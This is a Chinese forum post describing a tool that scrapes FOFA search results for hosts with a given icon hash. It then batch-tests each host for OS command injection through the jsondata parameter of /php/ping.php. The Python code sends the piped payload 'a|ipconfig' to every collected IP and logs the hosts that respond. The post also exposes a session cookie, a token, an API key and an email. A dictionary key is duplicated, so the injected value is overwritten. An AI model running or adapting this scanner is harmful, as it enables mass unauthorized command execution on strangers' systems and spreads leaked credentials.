基于fofa的批量cve漏洞验证爬虫程序开发
本帖最后由 wonderfulUU 于 2024-1-14 21:03 编辑漏洞复现
FOFA查询语句：icon_hash="-1830859634"该漏洞源于文件/php/ping.php的参数jsondata会导致操作系统命令注入，执行任意命令
fofa指纹搜索
正常我们是fofa搜指纹，然后一个一个抓包验证python批量爬取fofa搜索结果爬虫可以简单理解为模拟成浏览器，取访问爬取数据一般在请求头里面加上，User-agent,cookie等等，有时候爬取不到信息，可能就是模拟的力度不够大
import requestsurl='https://fofa.info/result?qbase64=aWNvbl9oYXNoPSItMTgzMDg1OTYzNCI%3D'
header={
'Cookie':'ga=GA1.1.576012199.1699060653; __fcd=IDlpZX5ieCF7Uc1hehEWf4dU; fofa_token=eyJhbGciOiJIUzUxMiIsImtpZCI6Ik5XWTVZakF4TVRkalltSTJNRFZsWXpRM05EWXdaakF3TURVMlkyWTNZemd3TUdRd1pUTmpZUT09IiwidHlwIjoiSldUIn0.eyJpZCI6MzUxMDc2LCJtaWQiOjEwMDIwMTI0NSwidXNlcm5hbWUiOiJ3b25kZXJmdWxVVVUiLCJleHAiOjE3MDUxMjQ3ODh9.FQocF4DcbG9lWG3kwEFXwxfkZUCxYdn2Mp1saUbir09qjaQhu1rQtXDAeDmVfpbVFsVoA2PJlwmSUu_QngeIVw; user=%7B%22id%22%3A351076%2C%22mid%22%3A100201245%2C%22is_admin%22%3Afalse%2C%22username%22%3A%22wonderfulUUU%22%2C%22nickname%22%3A%22wonderfulUUU%22%2C%22email%22%3A%221569676321%40qq.com%22%2C%22avatar_medium%22%3A%22https%3A%2F%2Fnosec.org%2Fmissing.jpg%22%2C%22avatar_thumb%22%3A%22https%3A%2F%2Fnosec.org%2Fmissing.jpg%22%2C%22key%22%3A%22a283f5e9560c2cadac2cb109d047699a%22%2C%22category%22%3A%22user%22%2C%22rank_avatar%22%3A%22%22%2C%22rank_level%22%3A0%2C%22rank_name%22%3A%22%E6%B3%A8%E5%86%8C%E7%94%A8%E6%88%B7%22%2C%22company_name%22%3A%22wonderfulUUU%22%2C%22coins%22%3A0%2C%22can_pay_coins%22%3A0%2C%22fofa_point%22%3A0%2C%22credits%22%3A1%2C%22expiration%22%3A%22-%22%2C%22login_at%22%3A0%2C%22data_limit%22%3A%7B%22web_query%22%3A300%2C%22web_data%22%3A3000%2C%22api_query%22%3A0%2C%22api_data%22%3A0%2C%22data%22%3A-1%7D%2C%22expiration_notice%22%3Afalse%2C%22remain_giveaway%22%3A0%2C%22fpoint_upgrade%22%3Afalse%7D; isRedirectLang=1; is_flag_login=0; befor_router=; is_mobile=pc; baseShowChange=false; viewOneHundredData=false; _ga_9GWBD260K9=GS1.1.1704931338.18.1.1704931584.0.0.0',
'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'
}
resp=requests.get(url=url,headers=header)
page_text=resp.content.decode('utf-8')
print(page_text)页面爬出来之后，利用xpath把我们需要的ip地址给爬取下来
先看一下网页源代码，是在div=>span=>a=>href
爬取出ip地址后我们要存到文件中，而且要保证它的顺序，不能乱码
我们这里的xpath提取出来的其实是列表数据，需要用join方法转成字符串
接下来我们考虑的是批量从fofa获取资产，不局限于第一页，我们看第二页这里我们用一个for循环
还有一个就是写数据到txt中时，是一个增量数据，需要改一下写入模式为add
另外优化的地方，我们
如果要拓展其他的指纹来搜索，我们观察一下他搜索的参数
其实是一个base64的加密
我们把需要base加密的部分再分割一下，加密过后再拼接上去
批量验证程序
先写验证一个链接的程序
因为这是一个post请求，所以要设置一下data，我们要转成python能够读取的字典格式
很多时候是https的链接，我们需要设置一下参数，verify=False,忽略掉告警
我们来观察一下这个响应的特征
找一下出现漏洞的时候响应数据有哪些共同的特质
首先子网掩码这个255.255肯定是有的，也有一些其他的特征，解码之后可能更加准确
批量打开之前的地址文件
还有一个问题就是很多链接是有问题的，状态码是400,500还有响应超时等等问题这个时候就需要考虑到程序的健壮性，可以忽略掉报错，持续的运行import requests
with open('test.txt', 'r') as file:
for line in file:
url=line.strip()#去除每行空格
#url ='https://119.188.246.32'
payload='/php/ping.php'
all_url=url+payload
#print(all_url)
data={
'jsondata':'a|ipconfig',
'jsondata':'1'
}
try:
resp=requests.post(url=all_url,data=data,verify=False,timeout=10)
#resp=requests.post(url=all_url,data=data,verify=False)
# 从响应中获取HTTP状态码
r_code = resp.status_code
requests.packages.urllib3.disable_warnings()
page_text=resp.content.decode('utf-8')
#print(page_text)
if '255.255' in page_text:
print(all_url,'有漏洞')
all_data=all_url+'\n'
with open('test_yanzh.txt','a') as fp:
fp.write(all_data)
else:
print(all_url,'无漏洞')
# 处理超时异常
except requests.exceptions.Timeout:
print(f"{all_url} 请求超时")
# 处理其他请求相关的异常
except requests.exceptions.RequestException as e:
print(f"{all_url} 请求发生异常: {e}")
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